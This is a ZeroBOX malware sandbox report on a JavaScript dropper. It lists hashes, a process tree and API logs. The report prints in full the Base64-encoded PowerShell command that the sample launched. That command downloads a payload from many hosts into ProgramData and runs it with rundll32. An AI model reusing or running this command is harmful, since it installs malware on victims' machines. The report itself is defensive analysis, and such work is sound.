popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

p6Qyi723hMWX.js

Generic Malware Antivirus Hide_URL AntiDebug AntiVM PowerShell
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 June 14, 2023, 10:04 a.m. June 14, 2023, 10:04 a.m.
Size 326.5KB
Type ASCII text, with very long lines, with CRLF line terminators
MD5 2c634a6b109b7b18a54ee093a7e5a87e
SHA256 56e5d6b72e197e9cef7b8d42b87f8e79bed17613daa4acfe8f8fcf3260733cba
CRC32 82095AC7
ssdeep 6144:bSfr0dh2tgcH6YTkM0cNRcpZwg/EBQ+8N/ygD1pRbHNmaXxN2hS:bSfrSh2tgcH6YTkMXRcpZwg/QQ+I/yg5
Yara None matched

  • wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\p6Qyi723hMWX.js

    2552

    • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "JABNAGUAbABlAHQAaQBhAG4ARABpAHMAYwBvAG0AZgBvAHIAdABpAG4AZwBsAHkAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFkAQQBOAFEAQQB1AEEARABJAEEATQBRAEEAMgBBAEMANABBAE8AQQBBAHoAQQBDADQAQQBPAFEAQQB5AEEAQQA9AD0ASwBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHAE0AQQBaAFEAQgB1AEEASABRAEEAYwBnAEIAMQBBAEcAMABBAEwAZwBCAGoAQQBHADgAQQBiAFEAQgB3AEEARwBFAEEAYgBnAEIANQBBAEEAPQA9ACIAOwAkAFAAcgBlAGQAYQB3AG4AcwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAQwBBAEcAVQBBAFoAZwBCAGgAQQBHAHcAQQBiAEEAQgBLAEEARwBFAEEAZQBRAEIAMwBBAEcARQBBAGIAQQBCAHIAQQBHAGsAQQBiAGcAQgBuAEEAQwA0AEEAYwB3AEIAagBBAEcAOABBAGQAQQBBAHYAQQBGAEUAQQBaAFEAQgBwAEEARgBVAEEAUQBRAEEAdgBBAEQAUQBBAFQAdwBBAHcAQQBBAD0APQByAFAAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQAyAEEARABJAEEATABnAEEAeQBBAEQAQQBBAE0AdwBBAHUAQQBEAEUAQQBNAFEAQQA0AEEAQwA0AEEATQBRAEEAeQBBAEQAZwBBAEwAdwBCAG0AQQBEAEEAQQBXAGcAQgBMAEEAQwA4AEEAUwBRAEEAPQByAFAAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATQBnAEEANABBAEMANABBAE0AZwBBAHcAQQBEAFkAQQBMAGcAQQAzAEEARABrAEEATABnAEEAeQBBAEQAVQBBAE4AUQBBAHYAQQBHADQAQQBXAGcAQgBJAEEARABRAEEAVwBRAEEAdgBBAEcAYwBBAFEAUQBBADQAQQBFAHMAQQBUAHcAQQA9AHIAUABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADMAQQBEAE0AQQBMAGcAQQB5AEEARABBAEEATwBRAEEAdQBBAEQARQBBAE4AQQBBAHkAQQBDADQAQQBNAFEAQQB6AEEARABZAEEATAB3AEEAeABBAEUAMABBAE4AdwBBAHYAQQBHAGMAQQBPAFEAQQA9AHIAUABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHAEUAQQBaAEEAQgBoAEEARwAwAEEAWQBRAEIAdQBBAEgAUQBBAGIAdwBCAGkAQQBHAHcAQQBZAFEAQgB6AEEASABRAEEAVQBBAEIAbABBAEgASQBBAGIAQQBCAGgAQQBIAFEAQQBhAFEAQgAyAEEARwBVAEEATABnAEIAagBBAEcAOABBAGIAQQBCAHMAQQBHAFUAQQBaAHcAQgBsAEEAQwA4AEEATQB3AEIAUABBAEQAWQBBAFMAZwBCAEwAQQBDADgAQQBUAFEAQgBKAEEARwBnAEEAcgBQAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEUATQBBAGIAdwBCAHQAQQBHADAAQQBiAHcAQgB1AEEARgBBAEEAYwBnAEIAdgBBAEcAUQBBAGQAUQBCAGoAQQBHAFUAQQBjAGcAQgB6AEEARwBnAEEAYQBRAEIAdwBBAEMANABBAFkAZwBCAGgAQQBIAEkAQQBMAHcAQQA1AEEARABNAEEAUwBRAEIAeQBBAEMAOABBAE4AdwBCAFUAQQBFAG8AQQBOAHcAQQA9AHIAUABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAGsAQQBNAGcAQQB1AEEARABFAEEATQBnAEEAeABBAEMANABBAE0AUQBBADMAQQBDADQAQQBNAFEAQQAwAEEAQwA4AEEATwBBAEIAQwBBAEgAbwBBAEwAdwBCAHcAQQBIAE0AQQBhAFEAQgBVAEEARwBNAEEATwBBAEIAMABBAEEAPQA9AHIAUABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAGsAQQBNAGcAQQB1AEEARABFAEEATQBnAEEAeABBAEMANABBAE0AUQBBADMAQQBDADQAQQBOAGcAQQA1AEEAQwA4AEEATgB3AEIANABBAEgAWQBBAGIAZwBCAG8AQQBEAEUAQQBXAFEAQQB2AEEASABjAEEAUwBnAEEAeQBBAEgAVQBBAE0AdwBCAEUAQQBBAD0APQByAFAAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABrAEEATQBnAEEAdQBBAEQARQBBAE0AZwBBAHgAQQBDADQAQQBNAFEAQQAzAEEAQwA0AEEATgB3AEEAdwBBAEMAOABBAFkAdwBCAEUAQQBGAE0AQQBkAFEAQgBIAEEARwBJAEEATAB3AEIAUwBBAEgAYwBBAFYAZwBCAHYAQQBFADAAQQBSAHcAQgBwAEEARwBZAEEAUgB3AEIAVQBBAEEAPQA9ACIAOwAkAFoAbwBuAG8AcABsAGEAYwBlAG4AdABhAGwAaQBhAEUAdQBwAHIAYQBjAHQAaQBjACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABJAEEATQBnAEEAMQBBAEMANABBAE0AZwBBAHgAQQBEAEEAQQBMAGcAQQB4AEEARABZAEEATQBnAEEAdQBBAEQARQBBAE0AZwBBAHgAQQBBAD0APQBjAEEAQQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCADEAQQBHADQAQQBaAFEAQgA0AEEARwBFAEEAYgBRAEIAcABBAEcANABBAFkAUQBCAGkAQQBHAHcAQQBaAFEAQgBJAEEARwA4AEEAYwBnAEIAegBBAEcAVQBBAFkAZwBCAGwAQQBHAEUAQQBiAGcAQQB1AEEARwBFAEEAZABBAEEAPQBjAEEAQQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAFYAQQBHADQAQQBkAFEAQgBpAEEARwBrAEEAYwBRAEIAMQBBAEcAawBBAGQAQQBCAHYAQQBIAFUAQQBjAHcAQgB1AEEARwBVAEEAYwB3AEIAegBBAEMANABBAGMAZwBCAGwAQQBHAGsAQQBjAHcAQgBsAEEAQQA9AD0AYwBBAEEAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQA0AEEARABnAEEATABnAEEANQBBAEQAawBBAEwAZwBBAHgAQQBEAEEAQQBOAFEAQQB1AEEARABJAEEATgBRAEEAMABBAEEAPQA9ACIAOwAkAFMAZQBtAGkAbABlAGcAYQBsACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB5AEEARABNAEEATgBRAEEAdQBBAEQASQBBAE0AZwBBAHoAQQBDADQAQQBNAFEAQQA0AEEARABVAEEATABnAEEANQBBAEQAYwBBACIAOwBmAG8AcgBlAGEAYwBoACAAKAAkAGIAbwBuAGUAdAB0AGEAIABpAG4AIAAkAFAAcgBlAGQAYQB3AG4AcwAgAC0AcwBwAGwAaQB0ACAAIgByAFAAIgApACAAewB0AHIAeQAgAHsAJABNAHUAcwByAG8AbABOAGUAdwBsAGkAbgBlACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARgBBAEEAWgBRAEIAawBBAEcAawBBAFkAUQBCADAAQQBIAEkAQQBlAFEAQQB1AEEARwB3AEEAYQBRAEIAMgBBAEcAVQBBAEoAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBvAEEARwBVAEEAWQBRAEIAawBBAEcAUQBBAGMAZwBCAGwAQQBIAE0AQQBjAHcAQgBsAEEASABNAEEATABnAEIAcwBBAEcAOABBAGIAZwBCAGsAQQBHADgAQQBiAGcAQQA9AEoAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABJAEEATwBRAEEAdQBBAEQARQBBAE8AUQBBAHkAQQBDADQAQQBNAGcAQQB3AEEARABFAEEATABnAEEAeQBBAEQAVQBBAE0AQQBBAD0AIgA7ACQAaQByAGkAZABlAHMAYwBlAG4AYwBlAHMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCADAAQQBIAFUAQQBZAGcAQgAxAEEARwB3AEEAYQBRAEIAawBBAEcAVQBBAGIAZwBCADAAQQBHAEUAQQBkAEEAQgBoAEEAQwA0AEEAWgB3AEIAaABBAEcAMABBAFoAUQBCAHoAQQBBAD0APQBTAE4APQBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBFAGMAQQBiAHcAQgBrAEEARwBRAEEAYQBRAEIAcgBBAEcAawBBAGIAZwBCAEIAQQBHAE0AQQBZAHcAQgBwAEEARwBRAEEAYQBRAEIAbABBAEMANABBAGQAZwBCAHYAQQBIAGsAQQBZAFEAQgBuAEEARwBVAEEAUwBOAD0AYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBRAEEARwBFAEEAYgBnAEIAagBBAEgASQBBAFoAUQBCAGgAQQBIAFEAQQBZAFEAQgBzAEEARwBjAEEAYQBRAEIAaABBAEMANABBAGMAQQBCAHkAQQBHAFUAQQBjAHcAQgB6AEEAQQA9AD0AUwBOAD0AYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABNAEEATQBRAEEAdQBBAEQAawBBAE0AUQBBAHUAQQBEAEUAQQBPAFEAQQA0AEEAQwA0AEEATQBRAEEAeABBAEQAVQBBACIAOwAkAGMAdQBtAHUAbABlAG4AZQBTAHQAeQBsAGEAdABlACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGIAbwBuAGUAdAB0AGEAKQApADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAJABjAHUAbQB1AGwAZQBuAGUAUwB0AHkAbABhAHQAZQAgAC0ATwAgAEMAOgBcAFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAXABzAHQAdQBtAHAAYQBnAGUAcwAuAFMAaABhAG4AZwBoAGEAaQBpAG4AZwA7ACQAVQBuAGcAYQB6AGkAbgBnAFQAZQBwAGgAcgBpAHQAZQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE8AUQBBADQAQQBDADQAQQBNAFEAQQAwAEEARABJAEEATABnAEEAeQBBAEQAQQBBAE0AUQBBAHUAQQBEAFEAQQBOAFEAQQA9AHAAbAB5AEgAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATgBBAEEAegBBAEMANABBAE0AZwBBADAAQQBEAGMAQQBMAGcAQQA1AEEARABjAEEATABnAEEAeABBAEQAZwBBAE0AZwBBAD0AIgA7ACQAYQBjAGUAaQB0AHUAbgBhAE4AbwBuAHMAcABlAGMAdQBsAGEAdABpAHYAZQBsAHkAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADMAQQBEAGcAQQBMAGcAQQB4AEEARABRAEEATQBRAEEAdQBBAEQARQBBAE4AZwBBADEAQQBDADQAQQBNAGcAQQB3AEEARABVAEEAQQBoAFcAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBVAEEASABJAEEAYQBRAEIAagBBAEcAZwBBAGIAQQBCAHYAQQBIAEkAQQBiAHcAQgBsAEEASABRAEEAYQBBAEIAaABBAEcANABBAFoAUQBBAHUAQQBHAHMAQQBhAFEAQgAwAEEARwBNAEEAYQBBAEIAbABBAEcANABBAEEAaABXAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEYAQQBBAGIAdwBCAHUAQQBHAFEAQQBaAFEAQgB5AEEARwBFAEEAYgBnAEIAMABBAEUAYwBBAGMAZwBCAGgAQQBIAE0AQQBjAHcAQgBqAEEARwBnAEEAWQBRAEIAMABBAEMANABBAGQAUQBCAHUAQQBHAGsAQQBkAGcAQgBsAEEASABJAEEAYwB3AEIAcABBAEgAUQBBAGUAUQBBAD0AIgA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIABDADoAXABcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAFwAcwB0AHUAbQBwAGEAZwBlAHMALgBTAGgAYQBuAGcAaABhAGkAaQBuAGcAKQAuAEwAZQBuAGcAdABoACAALQBnAGUAIAAyADQAOAAxADYANwApAHsAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AZQBuAGMAbwBkAGUAZABjAG8AbQBtAGEAbgBkACAAIgBjAHcAQgAwAEEARwBFAEEAYwBnAEIAMABBAEMAQQBBAGMAZwBCADEAQQBHADQAQQBaAEEAQgBzAEEARwB3AEEATQB3AEEAeQBBAEMAQQBBAFEAdwBBADYAQQBGAHcAQQBVAEEAQgB5AEEARwA4AEEAWgB3AEIAeQBBAEcARQBBAGIAUQBCAEUAQQBHAEUAQQBkAEEAQgBoAEEARgB3AEEAYwB3AEIAMABBAEgAVQBBAGIAUQBCAHcAQQBHAEUAQQBaAHcAQgBsAEEASABNAEEATABnAEIAVABBAEcAZwBBAFkAUQBCAHUAQQBHAGMAQQBhAEEAQgBoAEEARwBrAEEAYQBRAEIAdQBBAEcAYwBBAEwAQQBCAHQAQQBIAFUAQQBjAHcAQgAwAEEARABzAEEAIgA7ACQAdAByAGkAZwBvAG4AbwBjAGUAcABoAGEAbAB5AEMAbwBuAHQAcgBhAHMAdABzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQAwAEEARABJAEEATABnAEEAMABBAEQATQBBAEwAZwBBAHgAQQBEAEEAQQBNAGcAQQB1AEEARABFAEEATgBRAEEAegBBAEEAPQA9AEwAQwBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCADEAQQBHADQAQQBaAEEAQgBsAEEASABJAEEAYwB3AEIAMABBAEcARQBBAFoAZwBCAG0AQQBDADQAQQBaAEEAQgBsAEEAQQA9AD0ATABDAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAegBBAEcATQBBAGIAdwBCAHcAQQBIAFUAQQBiAEEAQgB2AEEASABVAEEAYwB3AEIAdQBBAEcAVQBBAGMAdwBCAHoAQQBDADQAQQBjAGcAQgBsAEEARwA0AEEAZABBAEIAaABBAEcAdwBBAGMAdwBBAD0AIgA7AGIAcgBlAGEAawA7AH0AfQAgAGMAYQB0AGMAaAAgAHsAfQB9AA=="

      2692

Name Response Post-Analysis Lookup
No hosts contacted.
IP Address Status Action
No hosts contacted.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00767808
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00767d88
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00767d88
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00767d88
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00767908
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00767908
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00767908
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00767908
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00767908
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00767908
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x007673c8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x007673c8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x007673c8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00767d88
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00767d88
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00767d88
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00767c88
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00767d88
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00767d88
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00767d88
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00767d88
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00767d88
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00767d88
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00767d88
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00767508
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00767508
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00767508
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00767508
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00767508
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00767508
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00767508
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00767508
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00767508
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00767508
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00767508
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00767508
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00767508
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00767508
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00768188
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00768188
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00768188
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00768188
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2692
region_size: 786432
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02820000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2692
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028a0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2692
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72891000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2692
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01f1a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2692
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72892000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2692
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01f12000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2692
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01f22000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2692
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028a1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2692
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028a2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2692
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01f4a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2692
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01f23000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2692
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01f24000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2692
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01f5b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2692
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01f57000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2692
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01f1b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2692
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01f42000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2692
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01f55000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2692
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01f25000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2692
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01f4c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2692
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029b0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2692
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01f26000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2692
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
